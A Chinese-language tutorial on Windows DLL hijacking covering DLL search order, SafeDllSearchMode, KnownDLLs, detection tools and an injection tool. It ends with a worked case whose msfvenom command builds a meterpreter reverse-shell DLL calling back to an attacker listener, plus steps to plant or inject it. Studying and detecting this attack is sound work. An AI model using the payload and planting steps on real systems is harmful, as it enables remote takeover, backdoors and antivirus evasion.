DLL劫持后,能干很多事情,比如殺軟對某些廠商的軟件是實行白名單的,你干些敏感操作都是不攔截,不提示的。還有留后門,提權等等。本文主要介紹如何檢測dll劫持,以及實例演示。
1. dll文件是什么?
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱"應用程序拓展",是軟件文件類型。在Windows中,許多應用程序並不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置於系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱為共享DLL文件。
如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先於正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現"劫持"
2. dll原理利用
Windows xp sp2之前
Windows查找DLL的目錄以及對應的順序:
1. 進程對應的應用程序所在目錄;
2. 當前目錄(Current Directory);
3. 系統目錄(通過 GetSystemDirectory 獲取);
4. 16位系統目錄;
5. Windows目錄(通過 GetWindowsDirectory 獲取);
6. PATH環境變量中的各個目錄;
例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,如果我們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一起,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。
Windows xp sp2之后
Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):
默認注冊表為:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值為1
1. 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如C:\ProgramFiles\uTorrent)
2. 系統目錄(即%windir%system32);
3. 16位系統目錄(即%windir%system);
4. Windows目錄(即%windir%);
5. 當前目錄(運行的某個文件所在目錄,比如C:\Documents and Settings\Administrator\Desktop\test);
6. PATH環境變量中的各個目錄;
Windows7 以上版本
系統沒有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其注冊表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
那么最終Windows2003以上以及win7以上操作系統通過“DLL路徑搜索目錄順序”和“KnownDLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。
- 默認情況下,如果軟件安裝在c盤根目錄,而不是c:\Program Files,那經過身份驗證的用戶具有該目錄的寫權限,另外,perl,python,ruby等軟件通常都添加到path變量中。那攻擊者可以在當前目錄中編寫惡意DLL,只要重新運行exe程序就會中招。
- SafeDllSearchMode + KnownDLLs二者結合可用來防范dll劫持,但是如果調用"不常見"的dll,也就是並未出現在KnownDLLs的列表中,那么無論SafeDllSearchMode是否開啟,dll搜索的第一順序均為程序的當前目錄,這里就存在一個DLL劫持漏洞(在程序同級目錄下預先放置一個同名dll,在進程啟動的過程中會優先加載,實現劫持。
3. dll劫持檢查
3.1. Process Explorer
3.2. rattler
下載地址:https://github.com/sensepost/rattler/releases
使用方式:rattler.exe “C:\\Program Files\\notepad++\\notepad.exe” 1
rattler可以枚舉進程調用的dll列表,識別應用程序哪些dll容易受到DLL預加載攻擊
3.3 dll_hijack_detect
使用方式:dll_hijack_detect_x64.exe /unsigned
4. dll注入工具
4.1. InjectProc實現自動注入dll
下載地址:https://github.com/secrary/InjectProc/releases
通過該軟件注入進程,可立馬上線
5. 驗證劫持系統DLL漏洞步驟
1.啟動應用程序
2.使用Process Explorer等類似軟件查看該應用程序啟動后加載的動態鏈接庫
3.從該應用程序已加載的DLL列表中,查找在KnowsDLLs注冊表項不存在的DLL
4.編寫上一步獲取到的DLL的劫持DLL
5.將編寫好的劫持DLL放到該應用程序目錄下,重新啟動該應用程序,檢查是否劫持成功
6.dll漏洞劫持案例
msfvenom生成dll木馬
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=5555 -f dll > dbghelp.dll
設置好監聽
兩種方法
1.放入軟件根目錄,通過打開軟件自動調用dll文件
2.通過InjectProc 直接注入到exe的其他進程中(好處是立馬上線)
上線
在原文基礎上做的修改
原文地址:https://www.cnblogs.com/bmjoker/p/11031238.html